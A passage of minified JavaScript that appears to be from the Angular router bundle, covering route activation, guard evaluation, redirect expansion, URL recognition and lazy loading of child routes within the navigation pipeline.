tt=He.value.outlet;this.deactivateRoutes(He,ne[tt],V),delete ne[tt]}),ie(ne,(He,tt)=>{this.deactivateRouteAndItsChildren(He,V)})}deactivateRoutes(A,p,V){const ne=A.value,He=p?p.value:null;if(ne===He)if(ne.component){const tt=V.getContext(ne.outlet);tt&&this.deactivateChildRoutes(A,p,tt.children)}else this.deactivateChildRoutes(A,p,V);else He&&this.deactivateRouteAndItsChildren(p,V)}deactivateRouteAndItsChildren(A,p){A.value.component&&this.routeReuseStrategy.shouldDetach(A.value.snapshot)?this.detachAndStoreRouteSubtree(A,p):this.deactivateRouteAndOutlet(A,p)}detachAndStoreRouteSubtree(A,p){const V=p.getContext(A.value.outlet),ne=V&&A.value.component?V.children:p,He=Ti(A);for(const tt of Object.keys(He))this.deactivateRouteAndItsChildren(He[tt],ne);if(V&&V.outlet){const tt=V.outlet.detach(),Lt=V.children.onOutletDeactivated();this.routeReuseStrategy.store(A.value.snapshot,{componentRef:tt,route:A,contexts:Lt})}}deactivateRouteAndOutlet(A,p){const V=p.getContext(A.value.outlet),ne=V&&A.value.component?V.children:p,He=Ti(A);for(const tt of Object.keys(He))this.deactivateRouteAndItsChildren(He[tt],ne);V&&(V.outlet&&(V.outlet.deactivate(),V.children.onOutletDeactivated()),V.attachRef=null,V.resolver=null,V.route=null)}activateChildRoutes(A,p,V){const ne=Ti(p);A.children.forEach(He=>{this.activateRoutes(He,ne[He.value.outlet],V),this.forwardEvent(new dn(He.value.snapshot))}),A.children.length&&this.forwardEvent(new ln(A.value.snapshot))}activateRoutes(A,p,V){const ne=A.value,He=p?p.value:null;if(yi(ne),ne===He)if(ne.component){const tt=V.getOrCreateContext(ne.outlet);this.activateChildRoutes(A,p,tt.children)}else this.activateChildRoutes(A,p,V);else if(ne.component){const tt=V.getOrCreateContext(ne.outlet);if(this.routeReuseStrategy.shouldAttach(ne.snapshot)){const Lt=this.routeReuseStrategy.retrieve(ne.snapshot);this.routeReuseStrategy.store(ne.snapshot,null),tt.children.onOutletReAttached(Lt.contexts),tt.attachRef=Lt.componentRef,tt.route=Lt.route.value,tt.outlet&&tt.outlet.attach(Lt.componentRef,Lt.route.value),yi(Lt.route.value),this.activateChildRoutes(A,null,tt.children)}else{const Lt=Qn(ne.snapshot),$t=Lt?.get(n._Vd)??null;tt.attachRef=null,tt.route=ne,tt.resolver=$t,tt.injector=Lt,tt.outlet&&tt.outlet.activateWith(ne,tt.injector),this.activateChildRoutes(A,null,tt.children)}}else this.activateChildRoutes(A,null,V)}}class ye{constructor(A){this.path=A,this.route=this.path[this.path.length-1]}}class st{constructor(A,p){this.component=A,this.route=p}}function I(M,A,p){const V=M._root;return ue(V,A?A._root:null,p,[V.value])}function T(M,A){const p=Symbol(),V=A.get(M,p);return V===p?"function"!=typeof M||(0,n.Z0I)(M)?A.get(M):M:V}function ue(M,A,p,V,ne={canDeactivateChecks:[],canActivateChecks:[]}){const He=Ti(A);return M.children.forEach(tt=>{(function gt(M,A,p,V,ne={canDeactivateChecks:[],canActivateChecks:[]}){const He=M.value,tt=A?A.value:null,Lt=p?p.getContext(M.value.outlet):null;if(tt&&He.routeConfig===tt.routeConfig){const $t=function Ot(M,A,p){if("function"==typeof p)return p(M,A);switch(p){case"pathParamsChange":return!Ue(M.url,A.url);case"pathParamsOrQueryParamsChange":return!Ue(M.url,A.url)||!te(M.queryParams,A.queryParams);case"always":return!0;case"paramsOrQueryParamsChange":return!Bi(M,A)||!te(M.queryParams,A.queryParams);default:return!Bi(M,A)}}(tt,He,He.routeConfig.runGuardsAndResolvers);$t?ne.canActivateChecks.push(new ye(V)):(He.data=tt.data,He._resolvedData=tt._resolvedData),ue(M,A,He.component?Lt?Lt.children:null:p,V,ne),$t&&Lt&&Lt.outlet&&Lt.outlet.isActivated&&ne.canDeactivateChecks.push(new st(Lt.outlet.component,tt))}else tt&&Jt(A,Lt,ne),ne.canActivateChecks.push(new ye(V)),ue(M,null,He.component?Lt?Lt.children:null:p,V,ne)})(tt,He[tt.value.outlet],p,V.concat([tt.value]),ne),delete He[tt.value.outlet]}),ie(He,(tt,Lt)=>Jt(tt,p.getContext(Lt),ne)),ne}function Jt(M,A,p){const V=Ti(M),ne=M.value;ie(V,(He,tt)=>{Jt(He,ne.component?A?A.children.getContext(tt):null:A,p)}),p.canDeactivateChecks.push(new st(ne.component&&A&&A.outlet&&A.outlet.isActivated?A.outlet.component:null,ne))}function Tt(M){return"function"==typeof M}function qn(M){return M instanceof f||"EmptyError"===M?.name}const xi=Symbol("INITIAL_VALUE");function Wn(){return(0,oe.w)(M=>(0,E.aj)(M.map(A=>A.pipe((0,Ce.q)(1),(0,k.O)(xi)))).pipe((0,Q.U)(A=>{for(const p of A)if(!0!==p){if(p===xi)return xi;if(!1===p||p instanceof Fe)return p}return!0}),(0,K.h)(A=>A!==xi),(0,Ce.q)(1)))}function Ut(M){return(0,g.z)((0,Ke.b)(A=>{if(vt(A))throw fi(0,A)}),(0,Q.U)(A=>!0===A))}const l1={matched:!1,consumedSegments:[],remainingSegments:[],parameters:{},positionalParamSegments:{}};function F1(M,A,p,V,ne){const He=A1(M,A,p);return He.matched?function o1(M,A,p,V){const ne=A.canMatch;if(!ne||0===ne.length)return(0,s.of)(!0);const He=ne.map(tt=>{const Lt=T(tt,M);return Xe(function Dn(M){return M&&Tt(M.canMatch)}(Lt)?Lt.canMatch(A,p):M.runInContext(()=>Lt(A,p)))});return(0,s.of)(He).pipe(Wn(),Ut())}(V=un(A,V),A,p).pipe((0,Q.U)(tt=>!0===tt?He:{...l1})):(0,s.of)(He)}function A1(M,A,p){if(""===A.path)return"full"===A.pathMatch&&(M.hasChildren()||p.length>0)?{...l1}:{matched:!0,consumedSegments:[],remainingSegments:p,parameters:{},positionalParamSegments:{}};const ne=(A.matcher||Pt)(p,M,A);if(!ne)return{...l1};const He={};ie(ne.posParams,(Lt,$t)=>{He[$t]=Lt.path});const tt=ne.consumed.length>0?{...He,...ne.consumed[ne.consumed.length-1].parameters}:He;return{matched:!0,consumedSegments:ne.consumed,remainingSegments:p.slice(ne.consumed.length),parameters:tt,positionalParamSegments:ne.posParams??{}}}function C1(M,A,p,V){if(p.length>0&&function tn(M,A,p){return p.some(V=>En(M,A,V)&&xn(V)!==ct)}(M,p,V)){const He=new be(A,function Q1(M,A,p,V){const ne={};ne[ct]=V,V._sourceSegment=M,V._segmentIndexShift=A.length;for(const He of p)if(""===He.path&&xn(He)!==ct){const tt=new be([],{});tt._sourceSegment=M,tt._segmentIndexShift=A.length,ne[xn(He)]=tt}return ne}(M,A,V,new be(p,M.children)));return He._sourceSegment=M,He._segmentIndexShift=A.length,{segmentGroup:He,slicedSegments:[]}}if(0===p.length&&function Tn(M,A,p){return p.some(V=>En(M,A,V))}(M,p,V)){const He=new be(M.segments,function S1(M,A,p,V,ne){const He={};for(const tt of V)if(En(M,p,tt)&&!ne[xn(tt)]){const Lt=new be([],{});Lt._sourceSegment=M,Lt._segmentIndexShift=A.length,He[xn(tt)]=Lt}return{...ne,...He}}(M,A,p,V,M.children));return He._sourceSegment=M,He._segmentIndexShift=A.length,{segmentGroup:He,slicedSegments:p}}const ne=new be(M.segments,M.children);return ne._sourceSegment=M,ne._segmentIndexShift=A.length,{segmentGroup:ne,slicedSegments:p}}function En(M,A,p){return(!(M.hasChildren()||A.length>0)||"full"!==p.pathMatch)&&""===p.path}function wn(M,A,p,V){return!!(xn(M)===V||V!==ct&&En(A,p,M))&&("**"===M.path||A1(A,M,p).matched)}function e2(M,A,p){return 0===A.length&&!M.children[p]}const ni=!1;class Un{constructor(A){this.segmentGroup=A||null}}class hn{constructor(A){this.urlTree=A}}function zn(M){return(0,C._)(new Un(M))}function $1(M){return(0,C._)(new hn(M))}class Y2{constructor(A,p,V,ne,He){this.injector=A,this.configLoader=p,this.urlSerializer=V,this.urlTree=ne,this.config=He,this.allowRedirects=!0}apply(){const A=C1(this.urlTree.root,[],[],this.config).segmentGroup,p=new be(A.segments,A.children);return this.expandSegmentGroup(this.injector,this.config,p,ct).pipe((0,Q.U)(He=>this.createUrlTree(on(He),this.urlTree.queryParams,this.urlTree.fragment))).pipe((0,dt.K)(He=>{if(He instanceof hn)return this.allowRedirects=!1,this.match(He.urlTree);throw He instanceof Un?this.noMatchError(He):He}))}match(A){return this.expandSegmentGroup(this.injector,this.config,A.root,ct).pipe((0,Q.U)(ne=>this.createUrlTree(on(ne),A.queryParams,A.fragment))).pipe((0,dt.K)(ne=>{throw ne instanceof Un?this.noMatchError(ne):ne}))}noMatchError(A){return new n.vHH(4002,ni)}createUrlTree(A,p,V){const ne=P1(A);return new Fe(ne,p,V)}expandSegmentGroup(A,p,V,ne){return 0===V.segments.length&&V.hasChildren()?this.expandChildren(A,p,V).pipe((0,Q.U)(He=>new be([],He))):this.expandSegment(A,V,p,V.segments,ne,!0)}expandChildren(A,p,V){const ne=[];for(const He of Object.keys(V.children))"primary"===He?ne.unshift(He):ne.push(He);return(0,a.D)(ne).pipe((0,qe.b)(He=>{const tt=V.children[He],Lt=D2(p,He);return this.expandSegmentGroup(A,Lt,tt,He).pipe((0,Q.U)($t=>({segment:$t,outlet:He})))}),bt((He,tt)=>(He[tt.outlet]=tt.segment,He),{}),Be())}expandSegment(A,p,V,ne,He,tt){return(0,a.D)(V).pipe((0,qe.b)(Lt=>this.expandSegmentAgainstRoute(A,p,V,Lt,ne,He,tt).pipe((0,dt.K)(d1=>{if(d1 instanceof Un)return(0,s.of)(null);throw d1}))),Ye(Lt=>!!Lt),(0,dt.K)((Lt,$t)=>{if(qn(Lt))return e2(p,ne,He)?(0,s.of)(new be([],{})):zn(p);throw Lt}))}expandSegmentAgainstRoute(A,p,V,ne,He,tt,Lt){return wn(ne,p,He,tt)?void 0===ne.redirectTo?this.matchSegmentAgainstRoute(A,p,ne,He,tt):Lt&&this.allowRedirects?this.expandSegmentAgainstRouteUsingRedirect(A,p,V,ne,He,tt):zn(p):zn(p)}expandSegmentAgainstRouteUsingRedirect(A,p,V,ne,He,tt){return"**"===ne.path?this.expandWildCardWithParamsAgainstRouteUsingRedirect(A,V,ne,tt):this.expandRegularSegmentAgainstRouteUsingRedirect(A,p,V,ne,He,tt)}expandWildCardWithParamsAgainstRouteUsingRedirect(A,p,V,ne){const He=this.applyRedirectCommands([],V.redirectTo,{});return V.redirectTo.startsWith("/")?$1(He):this.lineralizeSegments(V,He).pipe((0,se.zg)(tt=>{const Lt=new be(tt,{});return this.expandSegment(A,Lt,p,tt,ne,!1)}))}expandRegularSegmentAgainstRouteUsingRedirect(A,p,V,ne,He,tt){const{matched:Lt,consumedSegments:$t,remainingSegments:d1,positionalParamSegments:f1}=A1(p,ne,He);if(!Lt)return zn(p);const q1=this.applyRedirectCommands($t,ne.redirectTo,f1);return ne.redirectTo.startsWith("/")?$1(q1):this.lineralizeSegments(ne,q1).pipe((0,se.zg)(On=>this.expandSegment(A,p,V,On.concat(d1),tt,!1)))}matchSegmentAgainstRoute(A,p,V,ne,He){return"**"===V.path?(A=un(V,A),V.loadChildren?(V._loadedRoutes?(0,s.of)({routes:V._loadedRoutes,injector:V._loadedInjector}):this.configLoader.loadChildren(A,V)).pipe((0,Q.U)(Lt=>(V._loadedRoutes=Lt.routes,V._loadedInjector=Lt.injector,new be(ne,{})))):(0,s.of)(new be(ne,{}))):F1(p,V,ne,A).pipe((0,oe.w)(({matched:tt,consumedSegments:Lt,remainingSegments:$t})=>tt?this.getChildConfig(A=V._injector??A,V,ne).pipe((0,se.zg)(f1=>{const q1=f1.injector??A,On=f1.routes,{segmentGroup:A2,slicedSegments:Yi}=C1(p,Lt,$t,On),P2=new be(A2.segments,A2.children);if(0===Yi.length&&P2.hasChildren())return this.expandChildren(q1,On,P2).pipe((0,Q.U)(Yr=>new be(Lt,Yr)));if(0===On.length&&0===Yi.length)return(0,s.of)(new be(Lt,{}));const r2=xn(V)===He;return this.expandSegment(q1,P2,On,Yi,r2?ct:He,!0).pipe((0,Q.U)(S2=>new be(Lt.concat(S2.segments),S2.children)))})):zn(p)))}getChildConfig(A,p,V){return p.children?(0,s.of)({routes:p.children,injector:A}):p.loadChildren?void 0!==p._loadedRoutes?(0,s.of)({routes:p._loadedRoutes,injector:p._loadedInjector}):function Ft(M,A,p,V){const ne=A.canLoad;if(void 0===ne||0===ne.length)return(0,s.of)(!0);const He=ne.map(tt=>{const Lt=T(tt,M);return Xe(function O1(M){return M&&Tt(M.canLoad)}(Lt)?Lt.canLoad(A,p):M.runInContext(()=>Lt(A,p)))});return(0,s.of)(He).pipe(Wn(),Ut())}(A,p,V).pipe((0,se.zg)(ne=>ne?this.configLoader.loadChildren(A,p).pipe((0,Ke.b)(He=>{p._loadedRoutes=He.routes,p._loadedInjector=He.injector})):function z2(M){return(0,C._)(Ui(ni,3))}())):(0,s.of)({routes:[],injector:A})}lineralizeSegments(A,p){let V=[],ne=p.root;for(;;){if(V=V.concat(ne.segments),0===ne.numberOfChildren)return(0,s.of)(V);if(ne.numberOfChildren>1||!ne.children[ct])return A.redirectTo,(0,C._)(new n.vHH(4e3,ni));ne=ne.children[ct]}}applyRedirectCommands(A,p,V){return this.applyRedirectCreateUrlTree(p,this.urlSerializer.parse(p),A,V)}applyRedirectCreateUrlTree(A,p,V,ne){const He=this.createSegmentGroup(A,p.root,V,ne);return new Fe(He,this.createQueryParams(p.queryParams,this.urlTree.queryParams),p.fragment)}createQueryParams(A,p){const V={};return ie(A,(ne,He)=>{if("string"==typeof ne&&ne.startsWith(":")){const Lt=ne.substring(1);V[He]=p[Lt]}else V[He]=ne}),V}createSegmentGroup(A,p,V,ne){const He=this.createSegments(A,p.segments,V,ne);let tt={};return ie(p.children,(Lt,$t)=>{tt[$t]=this.createSegmentGroup(A,Lt,V,ne)}),new be(He,tt)}createSegments(A,p,V,ne){return p.map(He=>He.path.startsWith(":")?this.findPosParam(A,He,ne):this.findOrReturn(He,V))}findPosParam(A,p,V){const ne=V[p.path.substring(1)];if(!ne)throw new n.vHH(4001,ni);return ne}findOrReturn(A,p){let V=0;for(const ne of p){if(ne.path===A.path)return p.splice(V),ne;V++}return A}}class y1{}class N{constructor(A,p,V,ne,He,tt,Lt){this.injector=A,this.rootComponentType=p,this.config=V,this.urlTree=ne,this.url=He,this.paramsInheritanceStrategy=tt,this.urlSerializer=Lt}recognize(){const A=C1(this.urlTree.root,[],[],this.config.filter(p=>void 0===p.redirectTo)).segmentGroup;return this.processSegmentGroup(this.injector,this.config,A,ct).pipe((0,Q.U)(p=>{if(null===p)return null;const V=new f2([],Object.freeze({}),Object.freeze({...this.urlTree.queryParams}),this.urlTree.fragment,{},ct,this.rootComponentType,null,this.urlTree.root,-1,{}),ne=new Kn(V,p),He=new Vi(this.url,ne);return this.inheritParamsAndData(He._root),He}))}inheritParamsAndData(A){const p=A.value,V=Zn(p,this.paramsInheritanceStrategy);p.params=Object.freeze(V.params),p.data=Object.freeze(V.data),A.children.forEach(ne=>this.inheritParamsAndData(ne))}processSegmentGroup(A,p,V,ne){return 0===V.segments.length&&V.hasChildren()?this.processChildren(A,p,V):this.processSegment(A,p,V,V.segments,ne)}processChildren(A,p,V){return(0,a.D)(Object.keys(V.children)).pipe((0,qe.b)(ne=>{const He=V.children[ne],tt=D2(p,ne);return this.processSegmentGroup(A,tt,He,ne)}),bt((ne,He)=>ne&&He?(ne.push(...He),ne):null),(0,pe.o)(ne=>null!==ne),q(null),Be(),(0,Q.U)(ne=>{if(null===ne)return null;const He=ht(ne);return function he(M){M.sort((A,p)=>A.value.outlet===ct?-1:p.value.outlet===ct?1:A.value.outlet.localeCompare(p.value.outlet))}(He),He}))}processSegment(A,p,V,ne,He){return(0,a.D)(p).pipe((0,qe.b)(tt=>this.processSegmentAgainstRoute(tt._injector??A,tt,V,ne,He)),Ye(tt=>!!tt),(0,dt.K)(tt=>{if(qn(tt))return e2(V,ne,He)?(0,s.of)([]):(0,s.of)(null);throw tt}))}processSegmentAgainstRoute(A,p,V,ne,He){if(p.redirectTo||!wn(p,V,ne,He))return(0,s.of)(null);let tt;if("**"===p.path){const Lt=ne.length>0?b(ne).parameters:{},$t=s1(V)+ne.length,d1=new f2(ne,Lt,Object.freeze({...this.urlTree.queryParams}),this.urlTree.fragment,g1(p),xn(p),p.component??p._loadedComponent??null,p,Yt(V),$t,B1(p));tt=(0,s.of)({snapshot:d1,consumedSegments:[],remainingSegments:[]})}else tt=F1(V,p,ne,A).pipe((0,Q.U)(({matched:Lt,consumedSegments:$t,remainingSegments:d1,parameters:f1})=>{if(!Lt)return null;const q1=s1(V)+$t.length;return{snapshot:new f2($t,f1,Object.freeze({...this.urlTree.queryParams}),this.urlTree.fragment,g1(p),xn(p),p.component??p._loadedComponent??null,p,Yt(V),q1,B1(p)),consumedSegments:$t,remainingSegments:d1}}));return tt.pipe((0,oe.w)(Lt=>{if(null===Lt)return(0,s.of)(null);const{snapshot:$t,consumedSegments:d1,remainingSegments:f1}=Lt;A=p._injector??A;const q1=p._loadedInjector??A,On=function W(M){return M.children?M.children:M.loadChildren?M._loadedRoutes:[]}(p),{segmentGroup:A2,slicedSegments:Yi}=C1(V,d1,f1,On.filter(r2=>void 0===r2.redirectTo));if(0===Yi.length&&A2.hasChildren())return this.processChildren(q1,On,A2).pipe((0,Q.U)(r2=>null===r2?null:[new Kn($t,r2)]));if(0===On.length&&0===Yi.length)return(0,s.of)([new Kn($t,[])]);const P2=xn(p)===He;return this.processSegment(q1,On,A2,Yi,P2?ct:He).pipe((0,Q.U)(r2=>null===r2?null:[new Kn($t,r2)]))}))}}function Ve(M){const A=M.value.routeConfig;return A&&""===A.path&&void 0===A.redirectTo}function ht(M){const A=[],p=new Set;for(const V of M){if(!Ve(V)){A.push(V);continue}const ne=A.find(He=>V.value.routeConfig===He.value.routeConfig);void 0!==ne?(ne.children.push(...V.children),p.add(ne)):A.push(V)}for(const V of p){const ne=ht(V.children);A.push(new Kn(V.value,ne))}return A.filter(V=>!p.has(V))}function Yt(M){let A=M;for(;A._sourceSegment;)A=A._sourceSegment;return A}function s1(M){let A=M,p=A._segmentIndexShift??0;for(;A._sourceSegment;)A=A._sourceSegment,p+=A._segmentIndexShift??0;return p-1}function g1(M){return M.data||{}}function B1(M){return M.resolve||{}}function t2(M){return"string"==typeof M.title||null===M.title}function mi(M){return(0,oe.w)(A=>{const p=M(A);return p?(0,a.D)(p).pipe((0,Q.U)(()=>A)):(0,s.of)(A)})}const Ai=new n.OlP("ROUTES");let ji=(()=>{class M{constructor(){this.componentLoaders=new WeakMap,this.childrenLoaders=new WeakMap,this.compiler=(0,n.f3M)(n.Sil)}loadComponent(p){if(this.componentLoaders.get(p))return this.componentLoaders.get(p);if(p._loadedComponent)return(0,s.of)(p._loadedComponent);this.onLoadStartListener&&this.onLoadStartListener(p);const V=Xe(p.loadComponent()).pipe((0,Q.U)($2),(0,Ke.b)(He=>{this.onLoadEndListener&&this.onLoadEndListener(p),p._loadedComponent=He}),(0,w.x)(()=>{this.componentLoaders.delete(p)})),ne=new j.c(V,()=>new U.xQ).pipe((0,R.x)());return this.componentLoaders.set(p,ne),ne}loadChildren(p,V){if(this.childrenLoaders.get(V))return this.childrenLoaders.get(V);if(V._loadedRoutes)return(0,s.of)({routes:V._loadedRoutes,injector:V._loadedInjector});this.onLoadStartListener&&this.onLoadStartListener(V);const He=this.loadModuleFactoryOrRoutes(V.loadChildren).pipe((0,Q.U)(Lt=>{this.onLoadEndListener&&this.onLoadEndListener(V);let $t,d1,f1=!1;Array.isArray(Lt)?d1=Lt:($t=Lt.create(p).injector,d1=m($t.get(Ai,[],n.XFs.Self|n.XFs.Optional)));return{routes:d1.map(v2),injector:$t}}),(0,w.x)(()=>{this.childrenLoaders.delete(V)})),tt=new j.c(He,()=>new U.xQ).pipe((0,R.x)());return this.childrenLoaders.set(V,tt),tt}loadModuleFactoryOrRoutes(p){return Xe(p()).pipe((0,Q.U)($2),(0,se.zg)(V=>V instanceof n.YKP||Array.isArray(V)?(0,s.of)(V):(0,a.D)(this.compiler.compileModuleAsync(V))))}}return M.\\u0275fac=function(p){return new(p||M)},M.\\u0275prov=n.Yz7({token:M,factory:M.\\u0275fac,providedIn:"root"}),M})();function $2(M){return function or(M){return M&&"object"==typeof M&&"default"in M}(M)?M.default:M}let K2=(()=>{class M{get hasRequestedNavigation(){return 0!==this.navigationId}constructor(){this.currentNavigation=null,this.lastSuccessfulNavigation=null,this.events=new U.xQ,this.configLoader=(0,n.f3M)(ji),this.environmentInjector=(0,n.f3M)(n.lqb),this.urlSerializer=(0,n.f3M)(J),this.rootContexts=(0,n.f3M)(Ci),this.navigationId=0,this.afterPreactivation=()=>(0,s.of)(void 0),this.rootComponentType=null,this.configLoader.onLoadEndListener=ne=>this.events.next(new _i(ne)),this.configLoader.onLoadStartListener=ne=>this.events.next(new ri(ne))}complete(){this.transitions?.complete()}handleNavigationRequest(p){const V=++this.navigationId;this.transitions?.next({...this.transitions.value,...p,id:V})}setupNavigations(p){return this.transitions=new u.X({id:0,targetPageId:0,currentUrlTree:p.currentUrlTree,currentRawUrl:p.currentUrlTree,extractedUrl:p.urlHandlingStrategy.extract(p.currentUrlTree),urlAfterRedirects:p.urlHandlingStrategy.extract(p.currentUrlTree),rawUrl:p.currentUrlTree,extras:{},resolve:null,reject:null,promise:Promise.resolve(!0),source:Rn,restoredState:null,currentSnapshot:p.routerState.snapshot,targetSnapshot:null,currentRouterState:p.routerState,targetRouterState:null,guards:{canActivateChecks:[],canDeactivateChecks:[]},guardsResult:null}),this.transitions.pipe((0,K.h)(V=>0!==V.id),(0,Q.U)(V=>({...V,extractedUrl:p.urlHandlingStrategy.extract(V.rawUrl)})),(0,oe.w)(V=>{let ne=!1,He=!1;return(0,s.of)(V).pipe((0,Ke.b)(tt=>{this.currentNavigation={id:tt.id,initialUrl:tt.rawUrl,extractedUrl:tt.extractedUrl,trigger:tt.source,extras:tt.extras,previousNavigation:this.lastSuccessfulNavigation?{...this.lastSuccessfulNavigation,previousNavigation:null}:null}}),(0,oe.w)(tt=>{const Lt=p.browserUrlTree.toString(),$t=!p.navigated||tt.extractedUrl.toString()!==Lt||Lt!==p.currentUrlTree.toString();if(!$t&&"reload"!==(tt.extras.onSameUrlNavigation??p.onSameUrlNavigation)){const f1="";return this.events.next(new An(tt.id,p.serializeUrl(V.rawUrl),f1,0)),p.rawUrlTree=tt.rawUrl,tt.resolve(null),H.E}if(p.urlHandlingStrategy.shouldProcessUrl(tt.rawUrl))return Cr(tt.source)&&(p.browserUrlTree=tt.extractedUrl),(0,s.of)(tt).pipe((0,oe.w)(f1=>{const q1=this.transitions?.getValue();return this.events.next(new X1(f1.id,this.urlSerializer.serialize(f1.extractedUrl),f1.source,f1.restoredState)),q1!==this.transitions?.getValue()?H.E:Promise.resolve(f1)}),function W2(M,A,p,V){return(0,oe.w)(ne=>function l2(M,A,p,V,ne){return new Y2(M,A,p,V,ne).apply()}(M,A,p,ne.extractedUrl,V).pipe((0,Q.U)(He=>({...ne,urlAfterRedirects:He}))))}(this.environmentInjector,this.configLoader,this.urlSerializer,p.config),(0,Ke.b)(f1=>{this.currentNavigation={...this.currentNavigation,finalUrl:f1.urlAfterRedirects},V.urlAfterRedirects=f1.urlAfterRedirects}),function I1(M,A,p,V,ne){return(0,se.zg)(He=>function H1(M,A,p,V,ne,He,tt="emptyOnly"){return new N(M,A,p,V,ne,tt,He).recognize().pipe((0,oe.w)(Lt=>null===Lt?function M1(M){return new z.y(A=>A.error(M))}(new y1):(0,s.of)(Lt)))}(M,A,p,He.urlAfterRedirects,V.serialize(He.urlAfterRedirects),V,ne).pipe((0,Q.U)(tt=>({...He,targetSnapshot:tt}))))}(this.environmentInjector,this.rootComponentType,p.config,this.urlSerializer,p.paramsInheritanceStrategy),(0,Ke.b)(f1=>{if(V.targetSnapshot=f1.targetSnapshot,"eager"===p.urlUpdateStrategy){if(!f1.extras.skipLocationChange){const On=p.urlHandlingStrategy.merge(f1.urlAfterRedirects,f1.rawUrl);p.setBrowserUrl(On,f1)}p.browserUrlTree=f1.urlAfterRedirects}const q1=new li(f1.id,this.urlSerializer.serialize(f1.extractedUrl),this.urlSerializer.serialize(f1.urlAfterRedirects),f1.targetSnapshot);this.events.next(q1)}));if($t&&p.urlHandlingStrategy.shouldProcessUrl(p.rawUrlTree)){const{id:f1,extractedUrl:q1,source:On,restoredState:A2,extras:Yi}=tt,P2=new X1(f1,this.urlSerializer.serialize(q1),On,A2);this.events.next(P2);const r2=h2(q1,this.rootComponentType).snapshot;return V={...tt,targetSnapshot:r2,urlAfterRedirects:q1,extras:{...Yi,skipLocationChange:!1,replaceUrl:!1}},(0,s.of)(V)}{const f1="";return this.events.next(new An(tt.id,p.serializeUrl(V.extractedUrl),f1,1)),p.rawUrlTree=tt.rawUrl,tt.resolve(null),H.E}}),(0,Ke.b)(tt=>{const Lt=new L1(tt.id,this.urlSerializer.serialize(tt.extractedUrl),this.urlSerializer.serialize(tt.urlAfterRedirects),tt.targetSnapshot);this.events.next(Lt)}),(0,Q.U)(tt=>V={...tt,guards:I(tt.targetSnapshot,tt.currentSnapshot,this.rootContexts)}),function Te(M,A){return(0,se.zg)(p=>{const{targetSnapshot:V,currentSnapshot:ne,guards:{canActivateChecks:He,canDeactivateChecks:tt}}=p;return 0===tt.length&&0===He.length?(0,s.of)({...p,guardsResult:!0}):function y(M,A,p,V){return(0,a.D)(M).pipe((0,se.zg)(ne=>function Mt(M,A,p,V,ne){const He=A&&A.routeConfig?A.routeConfig.canDeactivate:null;if(!He||0===He.length)return(0,s.of)(!0);const tt=He.map(Lt=>{const $t=Qn(A)??ne,d1=T(Lt,$t);return Xe(function Bn(M){return M&&Tt(M.canDeactivate)}(d1)?d1.canDeactivate(M,A,p,V):$t.runInContext(()=>d1(M,A,p,V))).pipe(Ye())});return(0,s.of)(tt).pipe(Wn())}(ne.component,ne.route,p,A,V)),Ye(ne=>!0!==ne,!0))}(tt,V,ne,M).pipe((0,se.zg)(Lt=>Lt&&function t1(M){return"boolean"==typeof M}(Lt)?function D(M,A,p,V){return(0,a.D)(A).pipe((0,qe.b)(ne=>(0,_.z)(function Le(M,A){return null!==M&&A&&A(new Nn(M)),(0,s.of)(!0)}(ne.route.parent,V),function Z(M,A){return null!==M&&A&&A(new u2(M)),(0,s.of)(!0)}(ne.route,V),function yt(M,A,p){const V=A[A.length-1],He=A.slice(0,A.length-1).reverse().map(tt=>function L(M){const A=M.routeConfig?M.routeConfig.canActivateChild:null;return A&&0!==A.length?{node:M,guards:A}:null}(tt)).filter(tt=>null!==tt).map(tt=>(0,S.P)(()=>{const Lt=tt.guards.map($t=>{const d1=Qn(tt.node)??p,f1=T($t,d1);return Xe(function W1(M){return M&&Tt(M.canActivateChild)}(f1)?f1.canActivateChild(V,M):d1.runInContext(()=>f1(V,M))).pipe(Ye())});return(0,s.of)(Lt).pipe(Wn())}));return(0,s.of)(He).pipe(Wn())}(M,ne.path,p),function rt(M,A,p){const V=A.routeConfig?A.routeConfig.canActivate:null;if(!V||0===V.length)return(0,s.of)(!0);const ne=V.map(He=>(0,S.P)(()=>{const tt=Qn(A)??p,Lt=T(He,tt);return Xe(function an(M){return M&&Tt(M.canActivate)}(Lt)?Lt.canActivate(A,M):tt.runInContext(()=>Lt(A,M))).pipe(Ye())}));return(0,s.of)(ne).pipe(Wn())}(M,ne.route,p))),Ye(ne=>!0!==ne,!0))}(V,He,M,A):(0,s.of)(Lt)),(0,Q.U)(Lt=>({...p,guardsResult:Lt})))})}(this.environmentInjector,tt=>this.events.next(tt)),(0,Ke.b)(tt=>{if(V.guardsResult=tt.guardsResult,vt(tt.guardsResult))throw fi(0,tt.guardsResult);const Lt=new Cn(tt.id,this.urlSerializer.serialize(tt.extractedUrl),this.urlSerializer.serialize(tt.urlAfterRedirects),tt.targetSnapshot,!!tt.guardsResult);this.events.next(Lt)}),(0,K.h)(tt=>!!tt.guardsResult||(p.restoreHistory(tt),this.cancelNavigationTransition(tt,"",3),!1)),mi(tt=>{if(tt.guards.canActivateChecks.length)return(0,s.of)(tt).pipe((0,Ke.b)(Lt=>{const $t=new Mn(Lt.id,this.urlSerializer.serialize(Lt.extractedUrl),this.urlSerializer.serialize(Lt.urlAfterRedirects),Lt.targetSnapshot);this.events.next($t)}),(0,oe.w)(Lt=>{let $t=!1;return(0,s.of)(Lt).pipe(function Ln(M,A){return(0,se.zg)(p=>{const{targetSnapshot:V,guards:{canActivateChecks:ne}}=p;if(!ne.length)return(0,s.of)(p);let He=0;return(0,a.D)(ne).pipe((0,qe.b)(tt=>function rn(M,A,p,V){const ne=M.routeConfig,He=M._resolve;return void 0!==ne?.title&&!t2(ne)&&(He[Je]=ne.title),function kn(M,A,p,V){const ne=function Di(M){return[...Object.keys(M),...Object.getOwnPropertySymbols(M)]}(M);if(0===ne.length)return(0,s.of)({});const He={};return(0,a.D)(ne).pipe((0,se.zg)(tt=>function wi(M,A,p,V){const ne=Qn(A)??V,He=T(M,ne);return 